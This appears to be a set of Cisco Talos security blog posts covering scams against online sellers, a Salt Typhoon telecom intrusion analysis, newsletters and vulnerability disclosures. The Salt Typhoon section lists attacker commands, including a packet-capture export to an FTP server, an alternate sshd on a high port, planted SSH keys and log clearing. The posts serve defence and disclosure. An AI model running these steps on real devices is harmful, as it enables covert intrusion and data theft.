There are many risks associated with selling items on online marketplaces that individuals and organizations should be aware of when conducting business on these platforms.

Tuesday, February 25, 2025 06:17

*   There are many risks associated with selling items on online marketplaces that individuals and organizations should be aware of when conducting business on these platforms. 
*   Many of the general recommendations related to the use of these platforms are tailored towards purchasing items; however, there are several threats to those selling items as well.
*   Recent phishing campaigns targeting sellers on these marketplaces have leveraged the platforms’ direct messaging feature(s) to attempt to steal credit card details for sellers’ payout accounts.
*   Shipment detail changes, pressure to conduct off-platform transactions, and attempted use of “friends and family” payment options are commonly encountered scam techniques, all of which seek to remove the seller protections usually afforded by these platforms.
*   There are several steps that sellers can take to help protect themselves and their data from these threats. Being mindful of the common scams and threats targeting sellers can help sellers identify when they may be being targeted by malicious buyers while it is occurring so that they can take defensive actions to protect themselves.

The emergence of online marketplaces has facilitated the convenient exchange of goods between individuals and organizations around the world. It has also provided a means for people to easily resell items, enabling them to recapture value from assets they may not otherwise wish to maintain ownership of. The type of new and used items sold via marketplaces varies widely, and platforms such as Ebay, Facebook Marketplace, Reverb, and others are extremely popular avenues for selling everything from $15 vintage tissue boxes to $40,000 Gibson Les Paul guitars. You can even find $70,000,000 domains targeting affluent individuals with above-average BMIs being sold on online marketplaces.

When we think about online safety in the context of these platforms, we often concentrate the majority of our efforts and recommendations on the threats targeting buyers. In many cases, scammers are also actively targeting the people selling items on these platforms as well. From an adversarial perspective, it makes sense to target sellers, as these are likely to be individuals with large amounts of cash sitting in their accounts as they frequently receive payments for items they sell. Likewise, adversaries can easily monitor the public listings of seller accounts to identify when high-value items are listed, as well as when they are sold, so that they can identify when a target could reasonably be expected to receive an influx of cash into their accounts. 

Likewise, many platforms train their sellers to expect frequent, unsolicited account verification prompts delivered in any number of ways, which provides the perfect pretext for scammers seeking to take advantage of this pool of targets. From a detection and analysis standpoint, these types of attacks are often difficult to effectively combat, as platform providers, intelligence analysts, and law enforcement agencies are forced to primarily rely on self-reporting from victims to quantify the scope and impact of these types of threats. Let’s break down a few examples of some of the most common scams that target the individuals or organizations selling products on online marketplaces.

We created this handy guide for you to share with anyone you know who sells online:

**Phishing and malware scams**

While some scams attempt to fraudulently steal items, others are primarily aimed at stealing financial information from sellers by leveraging the platform’s messaging feature(s) as a mechanism to directly communicate with them for the purposes of phishing or malware distribution. In some cases, phishing is used to compromise the seller account itself, enabling the attacker to manipulate listings, shipments, modify automated payout settings, and communicate with current and previous buyers to conduct additional fraudulent activities. In other cases, phishing is used to obtain financial information, such as bank account or credit card information, that can be used to steal money from the seller.

**Payout account verification scams**

In a recent example, a /r/guitarpedals user reported that they had received a suspicious direct message on their Reverb seller account. The message was crafted to appear as if it was sent from the Reverb team itself. It informs the seller that their item has sold and prompts them to complete account verification to ensure that they receive payment for the item(s) they have sold.

A hyperlink, present in the message (and shown below), attempts to leverage Reverb’s own redirection functionality to direct victims who click on the hyperlink to a malicious web server under the attacker’s control.

This technique uses percent encoding, an obfuscation technique, to mask the destination of the redirect and make it appear as if the link is pointing to the legitimate Reverb website.

This URL, when accessed, returns an HTTP/302 redirection to another attacker-controlled web server, but ultimately the victim receives the following landing page. The attacker has put effort into making sure it appears legitimate and mimics what the victim expects to see. A chat message prompts the victim to complete the verification process by following the on-screen instructions.

A “Receive Funds” button has been positioned behind the chat popup shown in the previous screenshot. When the victim clicks this button, they are presented an input form and prompted to provide the credit card information necessary to verify their desired payout account. Throughout this process, additional chat message popups are delivered to lend credibility to the process.

Since this is the account the seller would like to use to receive payments for items sold on the platform, it likely also contains any funds associated with previous sales, and will likely frequently receive lump sums when future items are sold, presenting a myriad of opportunities for attackers to monetize the account and assets within it, now or in the future. For example, if a threat actor successfully obtains credit card details for a seller account with multiple high-value items actively listed, they can simply wait until an item sells before attempting to monetize it.

Assuming the victim enters valid credit card details, a message will be displayed requesting additional information.

The additional information in this case is the balance of the account that is being “verified.” A new chat message appears, prompting the user to enter the balance in their account, presumably so that the attacker can more effectively prioritize which accounts to empty first.

Assuming the victim enters their balance information, they are presented with the following message letting them know that it will take a period of time before they notice any changes to their accounts.

At this point, the adversary has obtained credit card details that they can then monetize however they choose. It’s important to note that while this particular example targeted sellers using the Reverb platform, most other online marketplaces experience similar threats as well. We have also observed Reverb often taking rapid response actions when attempting to send messages containing percent-encoded hyperlinks, indicating that the platform is aware of the issue and has put in place some mechanisms to help reduce the frequency and quantity of these types of messages on the platform.

Reverb also presents warning messages to let users know when they are being redirected to a third-party domain, as shown in the screenshot below. 

It is important to always validate the destination of hyperlinks received from unsolicited sources and to limit access to off-platform resources when conducting business on online marketplaces.

It is also important to note that direct messaging within marketplaces is not the only mechanism used for this type of scam. Below is a screenshot of an email received by a Shopify storefront owner attempting to convince them to verify their payout account information, similar to the previous example described above.

Below is another example. In this case, the threat actor has sent an email claiming that the seller has received a chargeback claim from a customer and prompting them to take action. Since chargebacks are often received for a variety of reasons, sellers may be more easily convinced to provide account or credit card information when prompted with a claim related to a chargeback.

If an email is received from an online marketplace, the platform will typically also provide warning messages, banners, and other mechanisms to alert sellers of the same issue. In the case that a seller receives an unexpected email related to payment issues, sellers should attempt to resolve issues directly on the platform rather than accessing content or responding to the email. 

**Scams to remove seller protection**

When selling new or used items using online marketplaces, one of the most important elements influencing platform and payment method selection for many people are the seller protection policies in place. These policies often provide protection from common types of fraudulent claims that may be made by buyers, such as non-receipt, damage, etc. In order to remain in effect, they generally require both the buyer and seller to perform the transaction following certain requirements that enable proper resolution should an issue arise. 

In an effort to remove these protections and make it easier to successfully monetize their scam(s), scammers posing as buyers will often attempt to convince sellers to conduct portions of the transaction “off-platform,” as this will void the protection policy that would otherwise be in place using a variety of different pretexts and themes. Likewise, some scammers target the shipping part of the transaction process, attempting to convince sellers to modify the shipping to void the seller protection policy afforded by the platform. By removing the ability for the seller to leverage the protection policy afforded by the platform used to sell the item, many of the normal recourse steps usually taken when dealing with fraudulent buyers are no longer available to the seller.

**Off-platform transactions**

Scammers also frequently use a variety of pretexts to attempt to convince sellers to perform the financial transaction associated with an item purchase using third-party platforms separate from the one on which an item was originally listed. They will attempt to trick victims into moving to an alternative mechanism for performing the transaction so that the seller loses most of the protection(s) afforded by the marketplace. 

In many cases, scammers will use additional pressures, such as time sensitivity, urgency, or manipulated screenshots showing failed transaction attempts, to convince sellers to perform transactions using alternative means, such as wire transfers or money transfer platforms, where seller protections are limited and—in the case of fraud—most recourse options are no longer available. 

There are countless examples of different pretexts being used in varying capacities, all ultimately for the same purpose, to convince sellers to leave the marketplace to perform the transaction elsewhere so that seller protections against fraudulent activity on the part of the buyer are removed.

**Shipment detail changes**

Since a seller account’s past and current item listings are easily accessible from the seller’s profile, it is easy for adversaries to leverage information contained within these listings (**_including photos_**) when building pretexts that are used to target the individual operating the seller account. One common way that adversaries leverage this information is by tailoring their messaging to account for both active and recently sold listings related to the seller they are communicating with. 

In the screenshot below, a scammer is contacting sellers on Ebay claiming to be an individual who purchased an item recently sold by the seller(s). The scammer hopes that by timing their message properly, they can take advantage of sellers who may not be paying close attention to the username listed in the message. For many sellers who are managing large numbers of listings, it can often be overwhelming to maintain many different streams of communication and/or multiple transactions simultaneously, leading them to respond quickly or otherwise take action (like modifying shipping instructions) without properly validating the content of the message.

Online reports indicate that it is not uncommon to receive these types of unsolicited messages, regardless of whether a seller has recently sold an item, which may be due to some level of automation being used to generate and transmit the messages. 

If the seller is convinced to change the destination address for the shipment due to receipt of one of these scam messages, the item that was sold may be shipped to an address under the attacker’s control. The attacker is then able to monetize the item while the original buyer does not receive the item that they purchased. Many of the protections afforded by online marketplace are lost when the shipping address used does not reflect what was present on the order at time of purchase, opening the seller to additional exposure as the buyer’s loss will still need to be resolved.

**The "friends and family" option**

Social media sites like Reddit have become very popular for posting used items to solicit interest from other users of a given subreddit. In some subreddits, there are even official or unofficial “Want to Buy / Want to Sell” (WTB/WTS) threads, where users can list items they are selling or items they would like to purchase. This creates an ideal pool of potential victims for scammers seeking to target users of these platforms.

Since Reddit is not an online marketplace, the transactions associated with this activity typically take place using money transfer platforms, such as Paypal, Zelle, or Venmo. Scammers will often leverage compromised accounts on these money transfer platforms when communicating with sellers (or buyers), often attempting to convince them to use the “friends and family” (or equivalent) payment option available on many of these platforms. Often, sending or receiving money with this option enabled removes many of the mechanisms in place to protect sellers from chargebacks and other fraudulent activity. Sellers should never enable this option when processing payments for goods they may sell via online marketplaces, social media sites, or in any transaction where protection against fraud is desired. 

In some cases, this method may be combined with other methods seeking to convince sellers to perform transactions outside of established platforms, then once the seller has agreed, scammers can leverage this option to further remove seller protections.

**Recommendations**

Most of the online literature related to defending against the scams pervasive on online marketplaces is geared towards the buyer experience. Recent trends in social media reporting indicate that sellers are also being increasingly targeted. While some of the scams faced by sellers resemble those faced by buyers, there are many that are unique. It is important that individuals or organizations leveraging online storefronts and/or marketplaces be aware of these threats so that they can prevent themselves from falling victim. 

It is extremely important that online marketplace accounts be protected with multi-factor authentication (MFA) whenever the platform supports this capability. This will provide an enhanced layer of security in cases where the account credentials are compromised as an additional authentication factor will still be needed to successfully access the account. 

When posting listings for items, be mindful of any photos that accompany the listing. Not unlike posting images to other social media platforms, items or objects in the background may unintentionally disclose sensitive information that could be used for malicious purposes. The information provided could also be leveraged to create more convincing or effective pretexts for later scam activities targeting the seller(s).

Avoid using third party services or platforms when conducting business transactions on online marketplaces. Take advantage of the protections afforded by the platform and avoid taking any actions that may jeopardize them. Reasonable buyers will be willing and able to conduct business following the standard platform transaction process. Sellers should avoid feeling pressured or worried about losing a sale and insist that the transaction take place in accordance with the policies of the online marketplace platform.

Verify the account associated with any messages received on online marketplaces. Always spend the time to validate that the message was actually received from the account of the buyer who purchased any recently sold items. Likewise, most platform support teams will not contact users via direct messaging for account verification or other sensitive processes as most of the time, these processes are directly supported by the platform itself. If a seller receives a direct message purporting to be from the platform itself, caution should be exercised and the message should be validated by contacting the support team separately using the information published on the marketplace website.

Sellers should also avoid modifying destination shipping addresses after orders have been placed. If a buyer asks to change the shipping address for an item they recently purchased, sellers should consider suggesting that they change their address using the online marketplace itself and contact support facilitate the change prior to shipping. This helps ensure that the seller is not deviating from the order that was placed, and helps ensure that they do not lose the seller protections afforded by the platform.

**Coverage**

Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

**Indicators of Compromise**

IOCs for this research can also be found at our Github repository here.

Your item has sold! Avoiding scams targeting online sellers

William discusses what happens when security is an afterthought rather than baked into processes and highlights the latest of Talos' security research.

Thursday, February 20, 2025 14:02

Welcome to this week’s edition of the Threat Source newsletter. 

 Benjamin Franklin once said, "Those who would give up essential Liberty, to purchase a little temporary Safety, deserve neither Liberty nor Safety." In much the same way, those who rush for efficiency without taking into account security end up neither efficient nor secure.  

The past week the Department of Government Efficiency (or DOGE) has put on a clinic of how not to do things. For example, the Doge.gov website was easily and immediately compromised. Researchers were able to push updates to the public website via access to a database of government employment information. Not to be outdone the DOGE team hastily stood up the Waste.gov website which still had a placeholder Wordpress default template, including the sample text which features an imaginary architecture firm called Études, from a default WordPress theme called Twenty Twenty-Four. This slapdash nonsense was hidden behind a password wall after the research information became public.  

It’s really an excellent lesson in what happens when security is not taken into account and the instant ramifications. As an entire infosec community we’ve talked at length about how baking security into every decision is incredibly important and that trying to bolt on fixes after the fact not only doesn’t work but highlights the lack of rigor and awareness of security in the room - creating an attractive target.

Let’s take a deep breath, take a moment to create a more secure process, follow those processes, and ensure security is in place at every step - then we can attack matters of efficiency.  

**The one big thing **

Cisco Talos has published a blog on the ongoing research into Salt Typhoon. Cisco Talos been closely monitoring reports of widespread intrusion activity against several major U.S. telecommunications companies, an issue that we have been concerned with for a long time here at Talos. The activity, initially reported in late 2024 and later confirmed by the U.S. government, is being carried out by a highly sophisticated threat actor dubbed Salt Typhoon.  

A hallmark of this campaign is the use of living-off-the-land (LOTL) techniques on network devices. It is important to note that while the telecommunications industry is the primary victim, the advice contained herein is relevant to, and should be considered by, all infrastructure defenders. 

**Why do I care? **

State sponsored actors have been aggressively targeting global network infrastructure and understanding and mitigating these actions will help you improve your network infrastructure resilience. 

**So now what? **

Cisco Talos has released an extensive list of preventative measures for general and Cisco-specific devices which can be found in the Salt Typhoon blog post.  

**Top security headlines of the week **

Palo Alto Networks has warned that hackers are exploiting another vulnerability in its firewall software to break into unpatched customer networks. (TechCrunch)  

Security researchers warn a critical vulnerability in SonicWall’s SonicOS is under active exploitation.(CyberSecurityDrive) 

Two security vulnerabilities have been discovered in the OpenSSH secure networking utility suite that, if successfully exploited, could result in an active machine-in-the-middle (MitM) and a denial-of-service (DoS) attack, respectively, under certain conditions. (TheHackerNews) 

**Can’t get enough Talos? **

*   Talos Vulnerability Research: ClearML and NVIDIA 
*   Vulnerability Deep Dive: Small praise for modern compilers - A case of Ubuntu printing vulnerability that wasn’t 

**Upcoming events where you can find Talos **

RSA (April 28-May 1, 2025)   
 San Francisco, CA 

CTA TIPS 2025 (May 14-15, 2025)    
Arlington, VA 

**Most prevalent malware files from Talos telemetry over the past week  **

SHA 256:7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5  MD5: ff1b6bb151cf9f671c929a4cbdb64d86     
VirusTotal : https://www.virustotal.com/gui/file/7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5   
Typical Filename: endpoint.query  
Claimed Product: Endpoint-Collector   
Detection Name: W32.File.MalParent     

SHA 256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91     
MD5: 7bdbd180c081fa63ca94f9c22c457376    
VirusTotal: https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91/details%C2%A0   
Typical Filename: c0dwjdi6a.dll    
Claimed Product: N/A  
Detection Name: Trojan.GenericKD.33515991 

SHA 256:9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507   
MD5: 2915b3f8b703eb744fc54c81f4a9c67f   
VirusTotal: https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507   
Typical Filename: VID001.exe   
Detection Name: Simple\_Custom\_Detection 

SHA 256: 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca  
MD5: 71fea034b422e4a17ebb06022532fdde  
VirusTotal: https://www.virustotal.com/gui/file/47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca   
Typical Filename: VID001.exe  
Claimed Product: N/A  
Detection Name: Coinminer:MBT.26mw.in14.Talos

Efficiency? Security? When the quest for one grants neither.

Cisco Talos has been closely monitoring reports of widespread intrusion activity against several major U.S. telecommunications companies, by a threat actor dubbed Salt Typhoon. This blog highlights our observations on this campaign and identifies recommendations for detection and prevention.

Thursday, February 20, 2025 08:00

**Summary**

Cisco Talos has been closely monitoring reports of widespread intrusion activity against several major U.S. telecommunications companies. The activity, initially reported in late 2024 and later confirmed by the U.S. government, is being carried out by a highly sophisticated threat actor dubbed Salt Typhoon. This blog highlights our observations on this campaign and identifies recommendations for detection and prevention of the actor’s activities.

Public reporting has indicated that the threat actor was able to gain access to core networking infrastructure in several instances and then use that infrastructure to collect a variety of information. There was only one case in which we found evidence suggesting that a Cisco vulnerability (CVE-2018-0171) was likely abused. In all the other incidents we have investigated to date, the initial access to Cisco devices was determined to be gained through the threat actor obtaining legitimate victim login credentials. The threat actor then demonstrated their ability to persist in target environments across equipment from multiple vendors for extended periods, maintaining access in one instance for over three years.

A hallmark of this campaign is the use of living-off-the-land (LOTL) techniques on network devices. It is important to note that while the telecommunications industry is the primary victim, the advice contained herein is relevant to, and should be considered by, all infrastructure defenders.

No new Cisco vulnerabilities were discovered during this campaign. While there have been some reports that Salt Typhoon is abusing three other known Cisco vulnerabilities, we have not identified any evidence to confirm these claims. The vulnerabilities in question are listed below. Note that each of these CVEs have security fixes available. Threat actors regularly use publicly available malicious tooling to exploit these vulnerabilities, making patching of these vulnerabilities imperative.

Therefore, our recommendation — which is consistent with our standard guidance independent of this particular case—is always to follow best practices to secure network infrastructure.

*   CVE-2018-0171 - Cisco IOS and IOS XE Software Smart Install Remote Code Execution Vulnerability (Last Updated: 15-Dec-2022)
*   CVE-2023-20198, CVE-2023-20273 - Multiple Vulnerabilities in Cisco IOS XE Software Web UI Feature (Last Updated: 1-Nov-2023)
*   CVE-2024-20399 - Cisco NX-OS Software CLI Command Injection Vulnerability (Last Updated: 17-Sep-2024)

**Activities observed****Credential use and expansion**

The use of valid, stolen credentials has been observed throughout this campaign, though it is unknown at this time exactly how the initial credentials in all cases were obtained by the threat actor. We have observed the threat actor actively attempting to acquire additional credentials by obtaining network device configurations and deciphering local accounts with weak password types—a security configuration that allows users to store passwords using cryptographically weak methods. In addition, we have observed the threat actor capturing SNMP, TACACS, and RADIUS traffic, including the secret keys used between network devices and TACACS/RADIUS servers. The intent of this traffic capture is almost certainly to enumerate additional credential details for follow-on use.

**Configuration exfiltration**

In numerous instances, the threat actor exfiltrated device configurations, often over TFTP and/or FTP. These configurations often contained sensitive authentication material, such as SNMP Read/Write (R/W) community strings and local accounts with weak password encryption types in use. The weak encryption password type would allow an attacker to trivially decrypt the password itself offline. In addition to the sensitive authentication material, configurations often contain named interfaces, which might allow an attacker to better understand the upstream and downstream network segments and use this information for additional reconnaissance and subsequent lateral movement within the network.

**Infrastructure pivoting**

A significant part of this campaign is marked by the actor’s continued movement, or pivoting, through compromised infrastructure. This “machine to machine” pivoting, or “jumping,” is likely conducted for a couple of reasons. First, it allows the threat actor to move within a trusted infrastructure set where network communications might not otherwise be permitted. Additionally, connections from this type of infrastructure are less likely to be flagged as suspicious by network defenders, allowing the threat actor to remain undetected.

The threat actor also pivoted from a compromised device operated by one telecom to target a device in another telecom. We believe that the device associated with the initial telecom was merely used as a hop point and not the intended final target in several instances. Some of these hop points were also used as a first hop for outbound data exfiltration operations. Much of this pivoting included the use of network equipment from a variety of different manufacturers.

**Configuration modification**

We observed that the threat actor had modified devices’ running configurations as well as the subsystems associated with both Bash and Guest Shell. (Guest Shell is a Linux-based virtual environment that runs on Cisco devices and allows users to execute Linux commands and utilities, including Bash.)

**_Running configuration modifications_**

*   AAA/TACACS+ server modification (server IP address change)
*   Loopback interface IP address modifications
*   GRE tunnel creation and use
*   Creation of unexpected local accounts
*   ACL modifications
*   SNMP community string modifications
*   HTTP/HTTPS server modifications on both standard and non-standard ports

**_Shell access modifications_**

*   Guest Shell enable and disable commands
*   Started SSH alternate servers on high ports for persistent access, such as sshd\_operns (on port 57722) on underlying Linux Shell or Guest Shell
    *   /usr/bin/sshd -p X
*   Created Linux-level users (modification of “/etc/shadow” and “/etc/passwd”)
*   Added SSH “authorized\_keys” under root or other users at Linux level

**_Packet capture_**

The threat actor used a variety of tools and techniques to capture packet data throughout the course of the campaign, listed below:

*   Tcpdump – Portable command-line utility used to capture packet data at the underlying operating system level.
    *   Tcpdump –i
*   Tpacap – Cisco IOS XR command line utility used to capture packets being sent to or from a given interface via netio at the underlying operating system level.
    *   Tpacap –i
*   Embedded Packet Capture (EPC) - Cisco IOS feature that allows the capture and export of packet capture data.
    *   Monitor capture CAP export ftp://<ftp\_server>
    *   Monitor capture CAP start
    *   Monitor capture CAP clear

**_Operational utility (JumbledPath)_**

The threat actor used a custom-built utility, dubbed JumbledPath, which allowed them to execute a packet capture on a remote Cisco device through an actor-defined jump-host. This tool also attempted to clear logs and impair logging along the jump-path and return the resultant compressed, encrypted capture via another unique series of actor-defined connections or jumps. This allowed the threat actor to create a chain of connections and perform the capture on a remote device. The use of this utility would help to obfuscate the original source, and ultimate destination, of the request and would also allow its operator to move through potentially otherwise non-publicly-reachable (or routable) devices or infrastructure.

This utility was written in GO and compiled as an ELF binary using an x86-64 architecture. Compiling the utility using this architecture makes it widely useable across Linux operating systems, which also includes a variety of multi-vendor network devices. This utility was found in actor configured Guestshell instances on Cisco Nexus devices.

**_Defense evasion_**

The threat actor repeatedly modified the address of the loopback interface on a compromised switch and used that interface as the source of SSH connections to additional devices within the target environment, allowing them to effectively bypass access control lists (ACLs) in place on those devices (see "Infrastructure pivoting" section).

The threat actor routinely cleared relevant logs, including .bash\_history, auth.log, lastlog, wtmp, and btmp, where applicable, to obfuscate their activities. Shell access was restored to a normal state in many cases through the use of the “guestshell disable” command.

The threat actor modified authentication, authorization, and accounting (AAA) server settings with supplemental addresses under their control to bypass access control systems.

**Detection**

We recommend taking the following steps to identify suspicious activity that may be related to this campaign:

*   Conduct comprehensive configuration management (inclusive of auditing), in line with best practices.
*   Conduct comprehensive authentication/authorization/command issuance monitoring.
*   Monitor syslog and AAA logs for unusual activity, including a decrease in normal logging events, or a gap in logged activity.
*   Monitor your environment for unusual changes in behavior or configuration.
*   Profile (fingerprint via NetFlow and port scanning) network devices for a shift in surface view, including new ports opening/closing and traffic to/from (not traversing).
*   Where possible, develop NetFlow visibility to identify unusual volumetric changes.
*   Look for non-empty or unusually large .bash\_history files.
*   Additional identification and detection can be performed using the Cisco forensic guides.

**Preventative measures**

The following guidance applies to entities in all sectors.

*   **Cisco-specific measures**
    *   Always disable the underlying non-encrypted web server using the “no ip http server” command. If web management is not required, disable all of the underlying web servers using “no ip http server” and “no ip http secure-server" commands.
    *   Disable telnet and ensure it is not available on any of the Virtual Teletype (VTY) lines on Cisco devices by configuring all VTY stanzas with “transport input ssh” and “transport output none”.
    *   If not required, disable the guestshell access using “guestshell disable” for those versions which support the guestshell service.
    *   Disable Cisco’s Smart Install service using “no vstack”.
    *   Utilize type 8 passwords for local account credential configuration.
    *   Use type 6 for TACACS+ key configuration.
*   **General measures**
    *   Rigorously adhere to security best practices, including updating, access controls, user education, and network segmentation.
    *   Stay up-to-date on security advisories from the U.S. government and industry, and consider suggested configuration changes to mitigate described issues.
    *   Update devices as aggressively as possible. This includes patching current hardware and software against known vulnerabilities and replacing end-of-life hardware and software.
        *   Select complex passwords and community strings and avoid default credentials.
    *   Use multi-factor authentication (MFA).
    *   Encrypt all monitoring and configuration traffic (SNMPv3, HTTPS, SSH, NETCONF, RESTCONF).
    *   Lockdown and aggressively monitor credential systems, such as TACACS+ and any jump hosts.
    *   Utilize AAA to deny configuration modifications of key device protections (e.g., local accounts, TACACS+, RADIUS).
    *   Prevent and monitor for exposure of administrative or unusual interfaces (e.g., SNMP, SSH, HTTP(s)).
    *   Disable all non-encrypted web management capabilities.
    *   Verify existence and correctness of access control lists for all management protocols (e.g., SNMP, SSH, Netconf, etc.).
    *   Enhance overall credential and password management practices with stronger keys and/or encryption.
        *   Use type 8 passwords for local account credential configuration.
        *   Use type 6 for TACACS+ key configuration.
    *   Store configurations centrally and push to devices. Do NOT allow devices to be the trusted source of truth for their configurations.

There are several reasons to believe this activity is being carried out by a highly sophisticated, well-funded threat actor, including the targeted nature of this campaign, the deep levels of developed access into victim networks, and the threat actor’s extensive technical knowledge. Furthermore, the long timeline of this campaign suggests a high degree of coordination, planning, and patience—standard hallmarks of advanced persistent threat (APT) and state-sponsored actors.

During this investigation, we also observed additional pervasive targeting of Cisco devices with exposed Smart Install (SMI) and the subsequent abuse of CVE-2018-0171, a vulnerability in the Smart Install feature of Cisco IOS and Cisco IOS XE software. This activity appears to be unrelated to the Salt Typhoon operations, and we have not yet been able to attribute it to a specific actor. The IP addresses provided as observables below are associated with this potentially unrelated SMI activity.

Legacy devices with known vulnerabilities, such as Smart Install (CVE-2018-0171), should be patched or decommissioned if no longer in use. Even if the device is a non-critical device, or carries no traffic, it may be used as an entry door for the threat actor to pivot to other more critical devices.

The findings in this blog represent Cisco Talos’ understanding of the attacks outlined herein. This campaign and its impact are still being researched, and the situation continues to evolve. As such, this post may be updated at any time to reflect new findings or adjustments to assessments.

**Indicators of Compromise (IOCs)****IP Addresses:**

185\[.\]141\[.\]24\[.\]28

185\[.\]82\[.\]200\[.\]181

Weathering the storm: In the midst of a Typhoon

Cisco Talos’ Vulnerability Discovery & Research team recently disclosed two vulnerabilities in ClearML and four vulnerabilities in Nvidia. 
The vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in adherence to Cisco’s third-party vulnerability disclosure policy.   
For Snort

Friday, February 14, 2025 11:55

Cisco Talos’ Vulnerability Discovery & Research team recently disclosed two vulnerabilities in ClearML and four vulnerabilities in Nvidia. 

The vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in adherence to Cisco’s third-party vulnerability disclosure policy.   

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.    

**ClearML XSS and information disclosure vulnerabilities **

_Discovered by Edwin Molenaar of Cisco Meraki._  

ClearML contains two vulnerabilities. ClearML is an open-source AI platform that supports the entire AI development lifecycle from research to production. It is designed to integrate with existing tools and infrastructures, allowing developers and DevOps teams to build, train and deploy models at scale. 

TALOS-2024-2110 (CVE-2024-39272) is a cross-site scripting vulnerability. A specially crafted HTTP request can allow an attacker to upload HTML files to a dataset through an existing ClearML account. The files can later be rendered within the browser of an authenticated ClearML user and execute JavaScript.  

TALOS-2024-2112 (CVE-2024-43779) is an information disclosure vulnerability. A specially crafted HTTP request can lead to an attacker reading vaults that have been previously disabled, possibly leaking sensitive credentials. An attacker can send a series of HTTP requests to trigger this vulnerability. 

**Nvidia memory corruption and heap-based buffer overflow vulnerabilities **

_Discovered by Dimitrios Tatsis._ 

The nvJPEG2000 library is provided by NVIDIA as a high-performance JPEG2000 encoding and decoding library. The prerequisite is a CUDA enabled GPU in the system that allows faster processing than traditional CPU implementations. 

TALOS-2024-2080 (CVE-2024-0142) and  TALOS-2024-2095 (CVE-2024-0143) are memory corruption vulnerabilities. A specially crafted JPEG2000 file can lead to an out-of-bounds write with arbitrary data which can lead to further memory corruption and arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability. 

 TALOS-2024-2108 (CVE-2024-0144) and TALOS-2024-2113 (CVE-2024-0145) are heap-based buffer overflow vulnerabilities in the Ndecomp field handling and parameter. A specially crafted JPEG2000 file can lead to memory corruption and arbitrary code execution. An attacker can provide a malicious file to trigger these vulnerabilities.

ClearML and Nvidia vulns

Hazel discusses Interpol’s push to rename pig butchering scams as ‘romance baiting’. Plus, catch up on the latest vulnerability research from Talos, and why a recent discovery is a “rare industry win”.

Thursday, February 13, 2025 14:05

Welcome to this week’s edition of the Threat Source Newsletter.

Love is in the air this week. Wait, is that love? Or is it some tech bro with a housing development company (that would totally love to meet in person but can’t this week) emailing you about an investment opportunity in his cryptocurrency scheme?

You may be seeing a lot of ‘Beware of romance/ pig butchering scams’ articles around Valentines Day. This isn’t really one of those. Although, if said tech bro initiates a course of love bombing mixed in with wire transfer requests, report that dude quicker than the roadrunner declares “meep meep”. 

I recently came across an article on The Hacker News that talked about how Interpol is pushing for a “linguistic shift” when it comes to pig butchering scams. They’re advocating for the term to be replaced by ‘romance baiting’.

In a statement, Interpol explained their reasoning:

_"The term 'pig butchering' dehumanizes and shames victims of such frauds, deterring people from coming forward to seek help and provide information to the authorities,"_

Pig butchering originates from a Chinese phrase. Its meaning is derived from “fattening a pig before the slaughter”. When we put that in the context of online scams, the emphasis is on the victim, with some not so nice connotations (and a certain sense of inevitability attached to it). 

By flipping the script and renaming pig butchering as romance baiting, Interpol suggests this could have a positive effect on the psychological nature of being targeted:

_"Words matter. We've seen this in the areas of violent sexual offences, domestic abuse, and online child exploitation. We need to recognize that our words also matter to the victims of fraud," INTERPOL Acting Executive Director of Police Services Cyril Gout said._

_"It's time to change our language to prioritize respect and empathy for the victims, and to hold fraudsters accountable for their crimes."_

I wholeheartedly agree. Victim blaming only causes more harm. The more we can do to encourage people to report perpetrators, without feeling a sense of shame, the better. 

What do you think? Will you be changing the narrative the next time you talk about romance scams? Are there any other terms in our industry that potentially put more focus on the victim than the adversary?

**The one big thing**

In the latest Talos Vulnerability Deep Dive, the team picked out something that had caught their attention during an earlier investigation of the macOS printing subsystem: IPP over USB specification, which defines how printers that are available over USB can only still support network printing via Internet Printing Protocol (IPP). During this new investigation, Talos decided to look at how other operating systems handle the same functionality. 

The result? Some pretty good news actually. Although the potential vulnerability Talos discusses in this article is very real, mitigating circumstances make it less severe. The vulnerability is discovered and made unexploitable by modern compiler features, and we are highlighting this as a rare win.

**Why do I care?**

We often hear of all the failings of software and vulnerabilities and mitigation bypasses, and we felt we should take this opportunity to highlight the opposite. In this case, modern compiler features, static analysis via -Wstringop-overflow and strong mitigation via FORTIFY\_SOURCE, saved the day.

**So now what?**

The modern compiler features detailed above should always be enabled by default. Additionally, those compiler warnings are only useful if someone actually reads them. Check out this excellent write up of the vulnerability, and the proof of concept.

**Top security headlines of the week**

